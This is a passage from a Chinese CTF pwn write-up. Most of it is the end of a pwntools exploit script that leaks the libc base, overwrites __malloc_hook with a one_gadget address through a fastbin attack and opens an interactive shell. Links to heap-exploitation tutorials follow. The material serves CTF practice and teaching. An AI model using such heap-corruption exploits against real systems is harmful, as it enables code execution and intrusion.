log.success('libc_base: ' +hex(libc_base))
log.success('one_gadget: ' +hex(one_gadget))

add(0x60) #4
free(4)
edit(2,0x8,p64(libc_base+libc.symbols['__malloc_hook']-0x23))

add(0x60) #4
add(0x60) #5
edit(6,0x1b,'a'*0x13+p64(one_gadget))

add(0x10)


#gdb.attach(sh)

sh.interactive()

参考链接:

http://liul14n.top/2020/02/17/HOS-LCTF2016-pwn200/

https://www.anquanke.com/post/id/85357

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/#house-of-spirit

http://taqini.space/2020/02/12/2020-Hgame-pwn-writeup/#Roc826

https://bbs.pediy.com/thread-247214.htm